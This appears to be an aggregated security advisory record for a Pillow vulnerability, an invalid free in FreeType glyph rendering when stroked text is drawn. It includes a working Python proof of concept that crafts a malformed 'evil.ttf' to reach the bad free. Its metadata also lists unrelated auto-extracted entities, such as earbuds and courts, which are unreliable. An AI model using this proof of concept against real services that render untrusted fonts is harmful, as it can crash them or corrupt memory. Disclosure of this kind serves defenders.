---
schema_version: '1.0'
id: security-20261022-04c7fa
title: 'CVE-2026-112893: Pillow: Invalid free in FreeType glyph rendering when a stroker
  is active'
url: https://osv.dev/vulnerability/GHSA-j4m9-6w36-pw47
url_hash: 04c7fa54d1086ea3640f8bfcce399bbb74c47f06a2a8319d6d3a36668c71539c
canonical_url: https://osv.dev/vulnerability/GHSA-j4m9-6w36-pw47
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-112893
- GHSA-j4m9-6w36-pw47
- severity:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- pillow
- PyPI
lang: en
published_at: '2026-10-21T20:06:34Z'
fetched_at: '2026-10-22T11:50:12.880999Z'
updated_at: '2026-10-22T17:08:16Z'
status: published
content_hash: c8c64d69f1e0e464a596a0871f8d345ae77a6d7bcb6fb298f4b58f0eed479230
content_changed_at: null
license_note: full
summary: 'Pillow: Invalid free in FreeType glyph rendering when a stroker is active'
summary_source: rss
summary_en: 'Pillow: Invalid free in FreeType glyph rendering when a stroker is active'
summary_omitted_reason: null
redistribution: true
keywords_en:
- active
- cve
- CVE-2026-112893
- free
- FreeBuds Neo
- FreeType
- GHSA-j4m9-6w36-pw47
- glyph
- Invalid
- library vulnerability
- pillow
- PyPI
- rendering
- severity:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Shay McVeigh
- software security
- stroker
- when
entities_en:
- name: FreeBuds Neo
  type: content
- name: Shay McVeigh
  type: person
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: Shay McVeigh
  type: person
- name: FreeBuds Neo
  type: content
key_facts: []
related: []
related_auto:
- name: Bristol Crown Court
  type: organization
  weight: 1.0
- name: Bristol Magistrates Court
  type: organization
  weight: 1.0
- name: Android
  type: organization
  weight: 1.0
- name: ファーウェイ・ジャパン
  type: organization
  weight: 1.0
- name: iPhone
  type: UNKNOWN
  weight: 1.0
computed_at: '2026-10-22T17:08:13Z'
---

# CVE-2026-112893: Pillow: Invalid free in FreeType glyph rendering when a stroker is active

## TL;DR
Pillow: Invalid free in FreeType glyph rendering when a stroker is active

## Key Points
- cve / CVE-2026-112893 / GHSA-j4m9-6w36-pw47 / severity:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N / pillow / PyPI

## Details
**Severity:** CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
**Advisory:** GHSA-j4m9-6w36-pw47 (CVE-2026-112893)

**Details:**
### Summary
When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

### Details
`glyph` is declared without a NULL initializer:

- `src/_imagingft.c:848`

The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:

- `src/_imagingft.c:1010-1013`

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

- `src/_imagingft.c:1242`

The cleanup frees it whenever a stroker exists:

- `src/_imagingft.c:1253-1256`

`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.

### PoC
This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.

```python
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf"          # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()

raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
    rec = 12 + i * 16
    tag = bytes(raw[rec:rec+4]).decode("latin-1")
    off, length = struct.unpack(">II", raw[rec+8:rec+16])
    tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
    o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
    o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000)   # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20)             # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2)        # load error -> FT_Done_Glyph on bad pointer
```

Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).

### Impact
Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.

**References:**
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47
- https://nvd.nist.gov/vuln/detail/CVE-2026-112893
- https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-j4m9-6w36-pw47_

## Source
元記事: [CVE-2026-112893: Pillow: Invalid free in FreeType glyph rendering when a stroker is active](https://osv.dev/vulnerability/GHSA-j4m9-6w36-pw47) — published 2026-10-21T20:06:34Z
